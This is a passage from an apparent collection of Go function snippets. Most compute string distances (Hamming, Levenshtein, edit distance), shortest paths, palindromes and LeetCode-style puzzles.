i\n\t\t\t\tif shortest != -1 {\n\t\t\t\t\tif distance < shortest {\n\t\t\t\t\t\tshortest = distance\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tshortest = distance\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t\tr = append(r, shortest)\n\t}\n\n\treturn r\n}", "func LevenshteinDistanceMax(a, b string, max int) (int, bool) {\n\tv, wasMax, _ := LevenshteinDistanceMaxReuseSlice(a, b, max, nil)\n\treturn v, wasMax\n}", "func getShortestPath(sourceX, sourceY, targetX, targetY int, cave [][]Square) (int, int, int) {\n\tdistances := make([][]int, len(cave))\n\tfor y := range distances {\n\t\tdistances[y] = make([]int, len(cave[y]))\n\t\tfor x := range distances[y] {\n\t\t\tdistances[y][x] = math.MaxInt64\n\t\t}\n\t}\n\n\tvisited := make([][]bool, len(cave))\n\tfor y := range visited {\n\t\tvisited[y] = make([]bool, len(cave[y]))\n\t}\n\n\t// Start with the target, and compute the distances back to the source.\n\ttentative := make([]int, 1)\n\ttentative[0] = targetX<<16 + targetY\n\tdistances[targetY][targetX] = 0\n\n\tfmt.Printf(\"Looking for distances from (%d,%d) to (%d,%d)\\n\", sourceX, sourceY, targetX, targetY)\n\n\tfor len(tentative) > 0 {\n\t\t// Find the tentative cell with the shortest distance\n\t\tcur := 0\n\t\tminDistance := math.MaxInt64\n\t\tfor i, pos := range tentative {\n\t\t\tx, y := (pos >> 16), pos&0xffff\n\t\t\tif distances[y][x] < minDistance {\n\t\t\t\tminDistance = distances[y][x]\n\t\t\t\tcur = i\n\t\t\t}\n\t\t}\n\n\t\t// Remove that cell from the tentative list\n\t\tcurX, curY := tentative[cur]>>16, tentative[cur]&0xffff\n\t\ttentative = append(tentative[:cur], tentative[cur+1:]...)\n\t\tvisited[curY][curX] = true\n\n\t\t//fmt.Printf(\"Visited (%d,%d), distance is %d (queue is %d long)\\n\", curX, curY, distances[curY][curX], len(tentative))\n\n\t\t// Consider the neighbors.\n\t\tfor _, move := range directions {\n\t\t\tnewX := curX + move[0]\n\t\t\tnewY := curY + move[1]\n\n\t\t\t// Skip if we're past the edge of the cave\n\t\t\tif newX < 0 || newY < 0 || newX >= len(cave[0]) || newY >= len(cave) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Skip if it's not empty.\n\t\t\tif cave[newY][newX] != Empty {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// If we haven't visited that cell, set a tentative distance\n\t\t\tif !visited[newY][newX] {\n\t\t\t\tvisited[newY][newX] = true\n\t\t\t\ttentative = append(tentative, newX<<16+newY)\n\t\t\t\tdistances[newY][newX] = distances[curY][curX] + 1\n\t\t\t\t//fmt.Printf(\"- First visit to (%d,%d), set distance to %d\\n\", newX, newY, distances[newY][newX])\n\t\t\t} else {\n\t\t\t\tif distances[newY][newX] > distances[curY][curX] {\n\t\t\t\t\tdistances[newY][newX] = distances[curY][curX] + 1\n\t\t\t\t\t//fmt.Printf(\"- Revisit to (%d,%d), set distance to %d\\n\", newX, newY, distances[newY][newX])\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t//fmt.Printf(\"-> Distances from (%d,%d) to (%d,%d):\\n\", sourceX, sourceY, targetX, targetY)\n\t//dumpDistances(sourceX, sourceY, targetX, targetY, distances)\n\n\t// We've got the distance, now pick a direction.\n\tbestDistance := math.MaxInt64\n\tbestDX, bestDY := 0, 0\n\tfor _, move := range directions {\n\t\tnewX := sourceX + move[0]\n\t\tnewY := sourceY + move[1]\n\n\t\t// Skip if we're past the edge of the cave\n\t\tif newX < 0 || newY < 0 || newX >= len(cave[0]) || newY >= len(cave) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Skip if it's not empty.\n\t\tif cave[newY][newX] != Empty {\n\t\t\tcontinue\n\t\t}\n\n\t\tif distances[newY][newX] != math.MaxInt64 && distances[newY][newX]+1 < bestDistance {\n\t\t\tbestDistance = distances[newY][newX] + 1\n\t\t\tbestDX, bestDY = move[0], move[1]\n\t\t}\n\t}\n\n\tif bestDistance != math.MaxInt64 {\n\t\tbestDistance++\n\t}\n\n\tfmt.Printf(\"-> Shortest path from (%d, %d) to (%d, %d) is %d long going (%d,%d)\\n\", sourceX, sourceY, targetX, targetY, bestDistance, bestDX, bestDY)\n\treturn bestDX, bestDY, bestDistance\n}", "func TestLevenshteinDistance(t *testing.T) {\n\tassert.Equal(t, 0, LevenshteinDistance(\"\", \"\"))\n\tassert.Equal(t, 0, LevenshteinDistance(\"🍺\", \"🍺\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bear\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bee\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"beer🍺\"))\n\tassert.Equal(t, 3, LevenshteinDistance(\"beer\", \"water\"))\n\tassert.Equal(t, 5, LevenshteinDistance(\"java\", \"golang\"))\n}", "func PairsPalindromes(words []string) []Pair {\n\tvar result []Pair\n\tfor i, first := range words {\n\t\tfor j, second := range words {\n\t\t\tif i == j {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcombined := first + second\n\t\t\tif isPalindrome(combined) {\n\t\t\t\tresult = append(result, Pair{i, j})\n\t\t\t}\n\t\t}\n\t}\n\treturn result\n}", "func main() {\n\t//my:[[1,1],[1,1],[1,2],[2,1],[2,2],[2,3]]\n\t//ex:[[1,1],[1,1],[2,1],[1,2],[1,2],[2,2],[1,3],[1,3],[2,3]]\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 7, 11, 16}, []int{2, 9, 10, 15}, 6)))\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 1, 1}, []int{1, 1, 1}, 20)))\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 3, 3}, []int{2, 4, 4}, 20)))\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 3, 3}, []int{2, 4, 4}, 5)))\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 7, 11}, []int{2, 4, 6}, 3)))\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 1, 2}, []int{1, 2, 3}, 2)))\n\tprintln(fmt.Sprintf(\"%+v\", kSmallestPairs([]int{1, 2}, []int{3}, 3)))\n}", "func suggestedProducts(products []string, searchWord string) [][]string {\n\tsort.Strings(products)\n\troot := &prodNode{}\n\n\tprodIdx := 0\n\n\tres := make([][]string, len(searchWord))\n\tfor i := 0; i < len(searchWord); i++ {\n\t\tres[i] = make([]string, 0, 3)\n\t\tch := searchWord[i]\n\n\t\tnode := root\n\t\tfor node.next != nil && len(res[i]) < 3 {\n\t\t\tif len(node.next.name) > i && node.next.name[i] == ch {\n\t\t\t\tres[i] = append(res[i], node.next.name)\n\t\t\t\tnode = node.next\n\t\t\t} else {\n\t\t\t\tnode.next = node.next.next\n\t\t\t}\n\t\t}\n\n\t\tfor ; prodIdx < len(products) && len(res[i]) < 3; prodIdx++ {\n\t\t\tproduct := products[prodIdx]\n\t\t\tif len(product) > i && product[:i+1] == searchWord[:i+1] {\n\t\t\t\tres[i] = append(res[i], product)\n\t\t\t\tnode.next = &prodNode{name: product}\n\t\t\t\tnode = node.next\n\t\t\t}\n\t\t}\n\t}\n\n\treturn res\n}", "func makeFuzzyDistanceOne(term string) []string {\n\tvals := []string{term}\n\n\tif len(term) <= 2 {\n\t\treturn vals\n\t}\n\n\t// This tends to produce bad results\n\t// Split apart so turn \"test\" into \"t\" \"est\" then \"te\" \"st\"\n\t//for i := 0; i < len(term); i++ {\n\t//\tvals = append(vals, term[:i])\n\t//\tvals = append(vals, term[i:])\n\t//}\n\n\t// Delete letters so turn \"test\" into \"est\" \"tst\" \"tet\"\n\tfor i := 0; i < len(term); i++ {\n\t\tvals = append(vals, term[:i]+term[i+1:])\n\t}\n\n\t// Replace a letter or digit which effectively does transpose for us\n\tfor i := 0; i < len(term); i++ {\n\t\tfor _, b := range letterDigitFuzzyBytes {\n\t\t\tvals = append(vals, term[:i]+string(b)+term[i+1:])\n\t\t}\n\t}\n\n\t// Insert a letter or digit\n\tfor i := 0; i < len(term); i++ {\n\t\tfor _, b := range letterDigitFuzzyBytes {\n\t\t\tvals = append(vals, term[:i]+string(b)+term[i:])\n\t\t}\n\t}\n\n\treturn str.RemoveStringDuplicates(vals)\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"failed to calculate distance. Strands have unequal length\")\n\t}\n\tvar distance int\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func findPairs(tks []string) (pairs []int) {\n\tpairs = make([]int, len(tks))\n\tvar s0, s1, s2 villa.IntSlice\n\tfor i, tk := range tks {\n\t\tpairs[i] = -1\n\n\t\tswitch tk {\n\t\tcase \"(\":\n\t\t\ts0.Add(i)\n\t\tcase \")\":\n\t\t\tif len(s0) > 0 {\n\t\t\t\tj := s0.Pop()\n\t\t\t\tpairs[i], pairs[j] = j, i\n\t\t\t}\n\n\t\tcase \"[\":\n\t\t\ts1.Add(i)\n\t\tcase \"]\":\n\t\t\tif len(s1) > 0 {\n\t\t\t\tj := s1.Pop()\n\t\t\t\tpairs[i], pairs[j] = j, i\n\t\t\t} // if\n\n\t\tcase \"{\":\n\t\t\ts2.Add(i)\n\t\tcase \"}\":\n\t\t\tif len(s2) > 0 {\n\t\t\t\tj := s2.Pop()\n\t\t\t\tpairs[i], pairs[j] = j, i\n\t\t\t} // if\n\t\t}\n\t}\n\n\treturn pairs\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n return 0, errors.New(\"input lengths mismatch\")\n }\n \n dif := 0\n for i := 0; i < len(a); i++ {\n if a[i] != b[i] {\n dif++\n }\n }\n \n return dif, nil\n}", "func findEquivalentStrings(keys []string, skipindex int) (Seq, error) {\n\tcharmap := make(map[Seq]int)\n\tfor k := range keys {\n\t\tseq := Seq{keys[k][:skipindex], keys[k][skipindex+1:]}\n\t\tcharmap[seq]++\n\t\tif charmap[seq] >= 2 {\n\t\t\treturn seq, nil\n\t\t}\n\t}\n\treturn Seq{}, errors.New(\"could not find solution\")\n}", "func EditDist(a, b string) int {\n\tlen1, len2 := len(a), len(b)\n\tif len1 < len2 {\n\t\treturn EditDist(b, a)\n\t}\n\trow1, row2 := make([]int, len2+1), make([]int, len2+1)\n\n\tfor i := 0; i < len2+1; i++ {\n\t\trow2[i] = i\n\t}\n\n\tfor i := 0; i < len1; i++ {\n\t\trow1[0] = i + 1\n\n\t\tfor j := 0; j < len2; j++ {\n\t\t\tx := min(row2[j+1]+1, row1[j]+1)\n\t\t\ty := row2[j] + invBool2int(a[i] == b[j])\n\t\t\trow1[j+1] = min(x, y)\n\t\t}\n\n\t\trow1, row2 = row2, row1\n\t}\n\treturn row2[len2]\n}", "func computeMinLength(p []string) (lmin int){\n lmin = len(p[0])\n for i:=1; i<len(p); i++ {\n if (len(p[i])<lmin) {\n lmin = len(p[i])\n }\n }\n return lmin\n}", "func minPalindrome(s string) string {\n\ttype key struct {\n\t\ta string // current string\n\t\tr string // prefix+suffix\n\t\tx int // moves required\n\t}\n\tvar cache = make(map[key]result)\n\tvar rec func(a string, r string, x int) result\n\trec = func(a string, r string, x int) result {\n\t\t// Termination condition.\n\t\tn := len(a)\n\t\tif n <= 1 {\n\t\t\treturn result{r + a + r, x}\n\t\t}\n\t\t// Check the cache.\n\t\tk := key{a, r, x}\n\t\tif result, ok := cache[k]; ok {\n\t\t\treturn result\n\t\t}\n\t\t// Compare a[i+1...j], a[i...j-1], and a[i+1...j+1].\n\t\tbest := rec(a[1:], a[:1], 1)\n\t\t{\n\t\t\tother := rec(a[:n-1], a[n-1:], 1)\n\t\t\tif other.beats(best) {\n\t\t\t\tbest = other\n\t\t\t}\n\t\t}\n\t\tif a[0] == a[n-1] {\n\t\t\tother := rec(a[1:n-1], a[:1], 0)\n\t\t\tif other.beats(best) {\n\t\t\t\tbest = other\n\t\t\t}\n\t\t}\n\t\t// Memoize the answer and return.\n\t\tanswer := result{r + best.s + r, best.n + x}\n\t\tcache[k] = answer\n\t\treturn answer\n\t}\n\treturn rec(s, \"\", 0).s\n}", "func selectBest(myPrefs, theirPrefs string) (string, error) {\n\t// Person with greatest hash gets first choice.\n\tmyHash, err := u.Hash([]byte(myPrefs))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttheirHash, err := u.Hash([]byte(theirPrefs))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcmp := bytes.Compare(myHash, theirHash)\n\tvar firstChoiceArr, secChoiceArr []string\n\n\tif cmp == -1 {\n\t\tfirstChoiceArr = strings.Split(theirPrefs, \",\")\n\t\tsecChoiceArr = strings.Split(myPrefs, \",\")\n\t} else if cmp == 1 {\n\t\tfirstChoiceArr = strings.Split(myPrefs, \",\")\n\t\tsecChoiceArr = strings.Split(theirPrefs, \",\")\n\t} else { // Exact same preferences.\n\t\tmyPrefsArr := strings.Split(myPrefs, \",\")\n\t\treturn myPrefsArr[0], nil\n\t}\n\n\tfor _, secChoice := range secChoiceArr {\n\t\tfor _, firstChoice := range firstChoiceArr {\n\t\t\tif firstChoice == secChoice {\n\t\t\t\treturn firstChoice, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\", errors.New(\"No algorithms in common!\")\n}", "func (r *Alleler) extractAllelicPairs() {\n\t// Sort the contigs by sizes, starting from shortest\n\tsort.Slice(r.ReCounts.Records, func(i, j int) bool {\n\t\treturn r.ReCounts.Records[i].Length < r.ReCounts.Records[j].Length\n\t})\n\t// Find significant matches of small-big allelic contig pairs\n}", "func CompareSegmentedStrings(s1, s2 string) float64 {\n\tsimilarity := 0.0\n\n\tif len(s1) == 0 || len(s2) == 0 {\n\t\treturn 0\n\t}\n\n\tif s1 == s2 {\n\t\treturn 1\n\t}\n\n\tsegs1 := segmentString(s1) // target string comparing against\n\tsegs2 := segmentString(s2)\n\n\tlongestStringLength := mmath.Max2(len(segs1), len(segs2))\n\tsetSegmentWeighting(longestStringLength)\n\n\t// need to have something to compare\n\tif len(segs1) == 0 || len(segs2) == 0 {\n\t\treturn similarity\n\t}\n\n\tif len(segs1) > len(segs2) {\n\t\tfor index, segment := range segs2 {\n\t\t\tpos := contains(segs1, segment)\n\n\t\t\tif pos == index {\n\t\t\t\t// same segment in same place\n\n\t\t\t\tsimilarity += segmentWeighting[weightingExactMatch]\n\t\t\t} else if pos != -1 {\n\t\t\t\tsimilarity += segmentWeighting[weightingExistanceMatch]\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor index, segment := range segs1 {\n\t\t\tpos := contains(segs2, segment)\n\n\t\t\tif pos == index {\n\t\t\t\t// same segment in same place\n\t\t\t\tsimilarity += segmentWeighting[weightingExactMatch]\n\t\t\t} else if pos != -1 {\n\t\t\t\tsimilarity += segmentWeighting[weightingExistanceMatch]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn float64(similarity / (segmentWeighting[weightingExactMatch] * float64(longestStringLength)))\n}", "func getHint(secret string, guess string) string {\r\n\tA, B, l := 0, 0, len(secret)\r\n\tfor i := 0; i < l; i++ {\r\n\t\tif secret[i] == guess[i] {\r\n\t\t\tA += 1\r\n\t\t}\r\n\t}\r\n\tsecret_ch := strings.Split(secret, \"\")\r\n\tguess_ch := strings.Split(guess, \"\")\r\n\tsort.Strings(secret_ch)\r\n\tsort.Strings(guess_ch)\r\n\r\n\tfor i, j := 0, 0; i < l && j < l; {\r\n\t\tif secret_ch[i] == guess_ch[j] {\r\n\t\t\ti, j, B = i+1, j+1, B+1\r\n\t\t} else if secret_ch[i] < guess_ch[j] {\r\n\t\t\ti += 1\r\n\t\t} else {\r\n\t\t\tj += 1\r\n\t\t}\r\n\t}\r\n\tif B-A >= 0 {\r\n\t\tB -= A\r\n\t}\r\n\tres := strconv.Itoa(A) + \"A\" + strconv.Itoa(B) + \"B\"\r\n\treturn res\r\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"strands need to be of equal length\")\n\t}\n\n\tdistance := 0\n\tfor i := range []rune(a) {\n\t\tif a[i] != b[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\n\treturn distance, nil\n}", "func bestDistance(nodes map[string]node, objectiveFn func() func(int) bool) int {\n\tkeys, indices := []string{}, []int{}\n\tfor k := range nodes {\n\t\tindices = append(indices, len(keys))\n\t\tkeys = append(keys, k)\n\t}\n\n\troutes := common.Permutations(indices)\n\tnodeCount := len(keys)\n\n\tobj := objectiveFn()\n\tbestDist := int(1e6)\n\tfor _, route := range routes {\n\t\tdist := 0\n\t\tfor i := 0; i < (nodeCount - 1); i++ {\n\t\t\tdist += nodes[keys[route[i]]].links[keys[route[i+1]]]\n\t\t}\n\n\t\tif obj(dist) {\n\t\t\tbestDist = dist\n\t\t}\n\t}\n\n\treturn bestDist\n}", "func closestToTarget(arr []int, target int) int {\n\tmin := math.MaxInt32\n\tsize := len(arr)\n\n\tandProducts := make([]int, 0)\n\n\tfor r := 0; r < size; r++ {\n\t\tfor i := 0; i < len(andProducts); i++ {\n\t\t\tandProducts[i] &= arr[r]\n\t\t}\n\t\tandProducts = append(andProducts, arr[r])\n\t\tsort.Ints(andProducts)\n\t\tandProducts = dedup(andProducts)\n\n\t\tfor _, ap := range andProducts {\n\t\t\tdiff := myAbs(ap - target)\n\t\t\tif diff == 0 {\n\t\t\t\treturn 0\n\t\t\t}\n\n\t\t\tif min > diff {\n\t\t\t\tmin = diff\n\t\t\t} else if ap > target {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn min\n}", "func findCheapestPrice(n int, flights [][]int, src int, dst int, K int) int {\n \n}", "func main() {\n\tnums1 := []int{1, 7, 11}\n\t// nums1 := []int{3, 5, 7, 9}\n\n\t// nums2 := []int{}\n\t// nums2 := []int{2, 4, 6}\n\tnums2 := []int{2, 4, 9}\n\tk := 3\n\t// k := 1\n\n\tfmt.Println(kSmallestPairs(nums1, nums2, k))\n}", "func longestWPI(hours []int) int {\n\tprefixSum := make([]int, len(hours)+1)\n\t// 前缀和的第0个是0 这里的前缀和的意思是不包括当前的数的前缀和\n\tprefixSum[0] = 0\n\tres := 0\n\tfor i := 1; i <= len(hours); i++ {\n\t\tif hours[i-1] > 8 {\n\t\t\tprefixSum[i] = prefixSum[i-1] + 1\n\t\t} else {\n\t\t\tprefixSum[i] = prefixSum[i-1] - 1\n\t\t}\n\t}\n\t// so this question is to find out the longest subarray which sum is equal or greater than than 0\n\t// generate monotonic descresing stack\n\tstack := make([]int, 0)\n\tstack = append(stack, prefixSum[0])\n\tfor i := 1; i < len(prefixSum); i++ {\n\t\t// there should be bigger not equal, because we need to find max\n\t\tif prefixSum[stack[len(stack)-1]] > prefixSum[i] {\n\t\t\tstack = append(stack, i)\n\t\t}\n\t}\n\t// find the biggest distance\n\tfor i := len(prefixSum) - 1; i >= 0; i-- {\n\t\tfor len(stack) > 0 && prefixSum[i] > prefixSum[stack[len(stack)-1]] {\n\t\t\tres = max(res, i-stack[len(stack)-1])\n\t\t\tstack = stack[:(len(stack) - 1)]\n\t\t}\n\t}\n\treturn res\n}", "func waysToBuildString(s string, vocabulary []string) int {\n\tvar dp []int\n\tfor i := 0; i < len(s)+1; i++ {\n\t\tdp = append(dp, 0)\n\t}\n\tdp[0] = 1\n\tfor i := 0; i < len(dp); i++ {\n\t\tfor _, w := range vocabulary {\n\t\t\tnextIndex := i + len(w)\n\t\t\tif nextIndex < len(dp) {\n\t\t\t\tsubString := s[i:nextIndex]\n\t\t\t\tif subString == w {\n\t\t\t\t\tdp[nextIndex] += dp[i]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dp[len(s)+1]\n}", "func (kd KeyDist) CalculateDistance(input, ref string) float64 {\n\tvar score float64\n\n\t// Scanning each letter of this ref\n\tfor i := 0; i < len(input); i++ {\n\t\tif i >= len(ref) {\n\n\t\t\t// @todo missing characters should have a cost, decide on a correct punishment value\n\t\t\tscore += float64(missingCharPenalty * (len(input) - len(ref)))\n\t\t\tbreak\n\t\t}\n\n\t\tif input[i] == ref[i] {\n\t\t\tcontinue\n\t\t}\n\n\t\tleft, right := input[i:i+1], ref[i:i+1]\n\t\tscore += euclideanDistance(kd.grid[left], kd.grid[right])\n\n\t}\n\n\treturn score\n}", "func Distance(a, b string) (int, error) {\n\tvar firstStringLength = len(a)\n\tvar secondStringLength = len(b)\n\n\tif firstStringLength != secondStringLength {\n\t\treturn 0, errors.New(\"string length are not equal\")\n\t}\n\n\tvar incorrectGenes = 0\n\tfor i := 0; i < firstStringLength; i++ {\n\t\tif a[i] != b[i] {\n\t\t\tincorrectGenes++\n\t\t}\n\t}\n\treturn incorrectGenes, nil\n}", "func lessWordPair(x, y interface{}) bool\t{ return x.(*wordPair).canon < y.(*wordPair).canon }", "func (h *hashLongestMatchQuickly) FindLongestMatch(dictionary *encoderDictionary, data []byte, ring_buffer_mask uint, distance_cache []int, cur_ix uint, max_length uint, max_backward uint, gap uint, max_distance uint, out *hasherSearchResult) {\n\tvar best_len_in uint = out.len\n\tvar cur_ix_masked uint = cur_ix & ring_buffer_mask\n\tvar key uint32 = h.HashBytes(data[cur_ix_masked:])\n\tvar compare_char int = int(data[cur_ix_masked+best_len_in])\n\tvar min_score uint = out.score\n\tvar best_score uint = out.score\n\tvar best_len uint = best_len_in\n\tvar cached_backward uint = uint(distance_cache[0])\n\tvar prev_ix uint = cur_ix - cached_backward\n\tvar bucket []uint32\n\tout.len_code_delta = 0\n\tif prev_ix < cur_ix {\n\t\tprev_ix &= uint(uint32(ring_buffer_mask))\n\t\tif compare_char == int(data[prev_ix+best_len]) {\n\t\t\tvar len uint = findMatchLengthWithLimit(data[prev_ix:], data[cur_ix_masked:], max_length)\n\t\t\tif len >= 4 {\n\t\t\t\tvar score uint = backwardReferenceScoreUsingLastDistance(uint(len))\n\t\t\t\tif best_score < score {\n\t\t\t\t\tbest_score = score\n\t\t\t\t\tbest_len = uint(len)\n\t\t\t\t\tout.len = uint(len)\n\t\t\t\t\tout.distance = cached_backward\n\t\t\t\t\tout.score = best_score\n\t\t\t\t\tcompare_char = int(data[cur_ix_masked+best_len])\n\t\t\t\t\tif h.bucketSweep == 1 {\n\t\t\t\t\t\th.buckets[key] = uint32(cur_ix)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif h.bucketSweep == 1 {\n\t\tvar backward uint\n\t\tvar len uint\n\n\t\t/* Only one to look for, don't bother to prepare for a loop. */\n\t\tprev_ix = uint(h.buckets[key])\n\n\t\th.buckets[key] = uint32(cur_ix)\n\t\tbackward = cur_ix - prev_ix\n\t\tprev_ix &= uint(uint32(ring_buffer_mask))\n\t\tif compare_char != int(data[prev_ix+best_len_in]) {\n\t\t\treturn\n\t\t}\n\n\t\tif backward == 0 || backward > max_backward {\n\t\t\treturn\n\t\t}\n\n\t\tlen = findMatchLengthWithLimit(data[prev_ix:], data[cur_ix_masked:], max_length)\n\t\tif len >= 4 {\n\t\t\tvar score uint = backwardReferenceScore(uint(len), backward)\n\t\t\tif best_score < score {\n\t\t\t\tout.len = uint(len)\n\t\t\t\tout.distance = backward\n\t\t\t\tout.score = score\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t} else {\n\t\tbucket = h.buckets[key:]\n\t\tvar i int\n\t\tprev_ix = uint(bucket[0])\n\t\tbucket = bucket[1:]\n\t\tfor i = 0; i < h.bucketSweep; (func() { i++; tmp3 := bucket; bucket = bucket[1:]; prev_ix = uint(tmp3[0]) })() {\n\t\t\tvar backward uint = cur_ix - prev_ix\n\t\t\tvar len uint\n\t\t\tprev_ix &= uint(uint32(ring_buffer_mask))\n\t\t\tif compare_char != int(data[prev_ix+best_len]) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif backward == 0 || backward > max_backward {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tlen = findMatchLengthWithLimit(data[prev_ix:], data[cur_ix_masked:], max_length)\n\t\t\tif len >= 4 {\n\t\t\t\tvar score uint = backwardReferenceScore(uint(len), backward)\n\t\t\t\tif best_score < score {\n\t\t\t\t\tbest_score = score\n\t\t\t\t\tbest_len = uint(len)\n\t\t\t\t\tout.len = best_len\n\t\t\t\t\tout.distance = backward\n\t\t\t\t\tout.score = score\n\t\t\t\t\tcompare_char = int(data[cur_ix_masked+best_len])\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif h.useDictionary && min_score == out.score {\n\t\tsearchInStaticDictionary(dictionary, h, data[cur_ix_masked:], max_length, max_backward+gap, max_distance, out, true)\n\t}\n\n\th.buckets[key+uint32((cur_ix>>3)%uint(h.bucketSweep))] = uint32(cur_ix)\n}", "func Distance(a, b string) (int, error) {\n\t// Check both strands are equal length\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"not possible to calculate hamming distance between strands of different lengths\")\n\t}\n\n\t// Loop through the strings and compare each char\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func (self *Sax) CompareStrings(list_letters_a, list_letters_b []byte) (float64, error) {\n if len(list_letters_a) != len(list_letters_b) {\n return 0, ErrStringsAreDifferentLength\n }\n mindist := 0.0\n for i := 0; i < len(list_letters_a); i++ {\n mindist += math.Pow(self.compare_letters(rune(list_letters_a[i]), rune(list_letters_b[i])), 2)\n }\n mindist = self.scalingFactor * math.Sqrt(mindist)\n return mindist, nil\n\n}", "func Levenshtein(embed *discordgo.MessageEmbed) *discordgo.MessageEmbed {\n\tembed.Author.Name = \"Command: leven / levenshtein\"\n\tembed.Description = \"`(leven|levenshtein) <word1> <word2>` gives the levenshtein value between 2 words.\"\n\tembed.Fields = []*discordgo.MessageEmbedField{\n\t\t{\n\t\t\tName: \"<word1> <word2>\",\n\t\t\tValue: \"The 2 words to complete the value of.\",\n\t\t},\n\t\t{\n\t\t\tName: \"What is the levenshtein distance?\",\n\t\t\tValue: \"It is a way to calculate how different two words / phrases are from each other.\\nhttps://en.wikipedia.org/wiki/Levenshtein_distance\",\n\t\t},\n\t}\n\treturn embed\n}", "func main() {\n\tfmt.Println(maxDistToClosest([]int{1, 0, 0, 0, 1, 0, 1}))\n\tfmt.Println(maxDistToClosest([]int{1, 0, 0, 0}))\n\tfmt.Println(maxDistToClosest([]int{0, 0, 0, 1}))\n}", "func Distance(a, b string) (int, error) {\n\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"Unequal string lengths!\")\n\t}\n\n\tmutations := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tmutations += 1\n\t\t}\n\t}\n\n\treturn mutations, nil\n}", "func findSubstring(s string, words []string) []int {\n\tres := []int{}\n\tls, lw := len(s), len(words)\n\tif lw == 0 || ls == 0 {\n\t\treturn res\n\t}\n\n\tmp := make(map[string]int)\n\tfor _, v := range words {\n\t\tmp[v]++\n\t}\n\n\twLen := len(words[0])\n\twindow := wLen * lw\n\tfor i := 0; i < wLen; i++ {\n\t\tfor j := i; j+window <= ls; j = j + wLen {\n\t\t\ttmp := s[j : j+window]\n\t\t\ttp := make(map[string]int)\n\t\t\tfor k := lw - 1; k >= 0; k-- {\n\t\t\t\t// get the word from tmp\n\t\t\t\tword := tmp[k*wLen : (k+1)*wLen]\n\t\t\t\tcount := tp[word] + 1\n\t\t\t\tif count > mp[word] {\n\t\t\t\t\tj = j + k*wLen\n\t\t\t\t\tbreak\n\t\t\t\t} else if k == 0 {\n\t\t\t\t\tres = append(res, j)\n\t\t\t\t} else {\n\t\t\t\t\ttp[word] = count\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn res\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"shit's on fire yo (and the strings should be the same length)\")\n\t}\n\n\tctr := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tctr++\n\t\t}\n\t}\n\treturn ctr, nil\n}", "func hackerrankInString(s string) string {\n // Can build a trie as well\n hackerrank := \"hackerrank\"\n sPtr := 0\n hPtr := 0\n for hPtr < len(hackerrank) {\n // Find first instance\n for sPtr < len(s) {\n if s[sPtr] == hackerrank[hPtr] {\n hPtr++\n sPtr++\n break\n }\n sPtr++\n // Can't find\n if (sPtr == len(s)) {\n // fmt.Printf(\"Can't find %c\", hackerrank[hPtr])\n return \"NO\"\n }\n }\n // Can't find\n if (sPtr == len(s) && hPtr != len(hackerrank)) {\n // fmt.Printf(\"Can't find %c\", hackerrank[hPtr])\n return \"NO\"\n }\n }\n return \"YES\"\n}", "func FindShortestPath(graph *Graph, source *Node, destination *Node) (nodes []*Node, distance int) {\n\t// Initialize queue and other data structures.\n\tqueue := CreatePriorityQueue()\n\tdistances := make(map[*Node]int)\n\tprevious := make(map[*Node]*Node)\n\n\t// Set all distances to maximum.\n\tfor node := range graph.edges {\n\t\tdistances[node] = MaxDistance\n\t\tprevious[node] = nil\n\t\tqueue.Enqueue(node)\n\t}\n\n\t// Start position distance is zero.\n\tdistances[source] = 0\n\n\t// While there are nodes in the queue,\n\t// take the smallest node from the priority queue\n\t// and update distances if possible.\n\tfor len(queue.items) > 0 {\n\t\tnode := queue.Dequeue(distances)\n\n\t\tfor _, neighbor := range graph.edges[node] {\n\t\t\tnewDistance := 